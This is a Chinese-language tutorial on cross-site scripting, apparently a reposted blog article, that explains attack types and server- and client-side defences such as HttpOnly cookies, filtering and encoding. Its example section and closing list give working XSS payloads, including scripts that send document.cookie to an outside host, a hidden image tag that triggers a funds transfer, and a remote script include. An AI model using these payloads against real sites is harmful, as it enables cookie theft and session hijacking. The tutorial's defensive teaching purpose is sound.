一、跨站脚本***(XSS)
跨站脚本***的原理
XSS又叫CSS (Cross Site Script) ,跨站脚本***。它指的是恶意***者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意***用户的特殊目的。
跨站脚本***的危害:窃取cookie、放蠕虫、网站钓鱼 ...
跨站脚本***的分类主要有:存储型XSS、反射型XSS、DOM型XSS
XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。
XSS工作流程
1)恶意用户,在一些公共区域(例如,建议提交表单或消息公共板的输入表单)输入一些文本,这些文本被其它用户看到,但这些文本不仅仅是他们要输入的文本,同时还包括一些可以在客户端执行的脚本。如:
http://xxx.xxx.com.cn/intf/_photos.jsp?callback=<script>window.location.href="http://www.baidu.com?a=" + escape(document.cookie)</script>、参数<script>xxx</script>如果这里没有经过转义处理,则页面中就嵌入了一段script
2)恶意提交这个表单
3)其他用户看到这个包括恶意脚本的页面并执行,获取用户的cookie等敏感信息。
前提
在说XSS解决方式时,有一个前提。就是同源策略——浏览器的同源策略(浏览器安全的基础,即使是***脚本也要遵守这法则),限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。除了DOM、Cookie、XMLHttpRequest会受到同源策略的限制外,浏览器加载的一些第三方插件也有各自的同源策略。不过script、img、iframe、link等标签都可以跨域加载资源,而不受同源策略的限制。
服务端可以干的事
1. HttpOnly
其实就是现在HTTP协议(HTTPS也是可以的)才能读取cookies,JavaScript是读取不到cookies的。支持浏览器是IE6+、Firefox2+、Google、Safari4+。
JavaEE给Cookie添加HttpOnly的代码:
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
PS:对于HTTPS,还是可以设置Secure字段,对Cookie进行安全加密。
这是本质上不是预防XSS,而是在被攻破时候不允许JS读取Cookie。
2.处理富文本
有些数据因为使用场景问题,并不能直接在服务端进行转义存储。不过富文本数据语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性中,所以可以当特殊情况特殊处理。处理的过程是在服务端配置富文本标签和属性的白名单,不允许出现其他标签或属性(例如script、iframe、form等),即”XSS Filter“。然后在存储之前进行过滤(过滤原理没有去探明)。
Java有个开源项目Anti-Samy是非常好的XSS Filter:
Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION); AntiSamy as = new AntiSamy(); CleanResults cr = as.scan(dirtyInput, policy); MyUserDao.storeUserProfile(cr.getCleanHTML());
PS:当然也可以在前端显示前过滤,但是我觉得,让前端人员少做东西好,并且服务端只需要转一次。
客户端可以干的事
1. 输入检查
输入检查的逻辑,必须放在服务器端代码中实现(因为用JavaScript做输入检查,很容易被***者绕过)。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务资源。
PS:简单说,就是输入检查,服务端和客户端都要做。
另外***者可能输入XSS的地方,例如:
1.页面中所有的input框 2.window.location(href、hash等) 3.window.name 4.document.referrer 5.document.cookie 6.localstorage 7.XMLHttpRequest返回的数据
PS:当然不止这些
2. 输出检查
一般就是在变量输出到HTML页面时,使用编码或转义的方式来防御XSS***。XSS的本质就是“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的语义。
触发XSS的地方
1.document.write 2.xxx.innerHTML= 3.xxx.outerHTML= 4.innerHTML.replace 5.document.attachEvent 6.window.attachEvent 7.document.location.replace 8.document.location.assign
PS:如果使用jquery,就是那些append、html、before、after等,其实就是拼接变量到HTML页面时产生。大部分的MVC框架在模板(view层)会自动处理XSS问题,例如AngularJS。
用什么编码转义
主要有HTMLEncode和JavaScriptEncode这两个,客户端和服务端都能做。但是让后端去做,我感觉是不大靠谱的,因为数据的使用场景可能有几种,可以在标签、属性、或脚本里(甚至其他终端使用),单单以一种方式去encode是很极限的。
1.HTMLEncode,就是将字符转换成HTMLEntities,一般会转(&、<、>、"、'、/)这6个字符。
2.JavaScriptEncode,是使用”\“对特殊字符进行转义。
PS:我在《HtmlEncode和JavaScriptEncode(预防XSS)》一文总结了比较完整的HTMLEncode和JavaScriptEncode两个前端函数的写法,以及一点示例。
哪些地方需要编转义
1.在HTML标签、属性中输出——用HTMLEncode
2.在script标签中输出——用JavaScriptEncode
3.在事件中输出——用JavaScriptEncode
<a href="#" οnclick="funcA('$var')">test</a>
4.在CSS中输出
用类似JavaScriptEncode的方式。将除了字母、数字外的所有字符都编码成十六进制形式”\uHH“。
5.在地址中输出
一般如果变量是整个URL,则先检查变量是否以“http”开头(不是则帮忙添加http),保证不会出现伪协议类的XSS***。然后再对变量进行URLEncode。
PS:URLEncode会将字符转换成”%HH“形式。
总结
前端开发人员要注意在正确的地方使用正确的编码方式,有时为了防御XSS,在一个地方我们需要联合HTMLEncode、JavaScriptEncode进行编码,甚至是叠加,并不是固定一种方式编码(又是具体情况具体分析)。
一般存储型XSS风险高于反射型XSS。反射型XSS一般要求***者诱使用户点击一个包含XSS代码的URL链接;而存储型只需要用户查看一个正常的URL链接,当用户打开页面时,XSS Payload就会被执行。这样漏洞极其隐蔽,且埋伏在用户的正常业务中,风险很高。
常用XSS方式分为以下几种:
1. 输入框中直接输入恶意脚本,如:
><script>alert(document.cookie)</script>
或者 "> <script> document.location.href='http://127.0.0.1:9090/xss?foo='+document.cookie</script>
2. 输入框中输入html标签,在标签中嵌入恶意脚本,如src,href,css style等。
<IMG SRC="javascript:alert('XSS');">;
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
<BODY BACKGROUND="javascript:alert('XSS')">
<STYLE>li {list-style-p_w_picpath:url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
3. 将恶意脚本注入在event事件中,如onClick,onBlur,onMouseOver等事件。
<a οnmοuseοver="alert(document.cookie)">xxslink</a>
4. 在remote style sheet,javascript中,如
<LINK REL="stylesheet"HREF="javascript:alert('XSS');">
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
5. META 标签,如
<meta http-equiv="refresh"content="5" />
<META HTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
转载于:https://blog.51cto.com/xhtml/1911526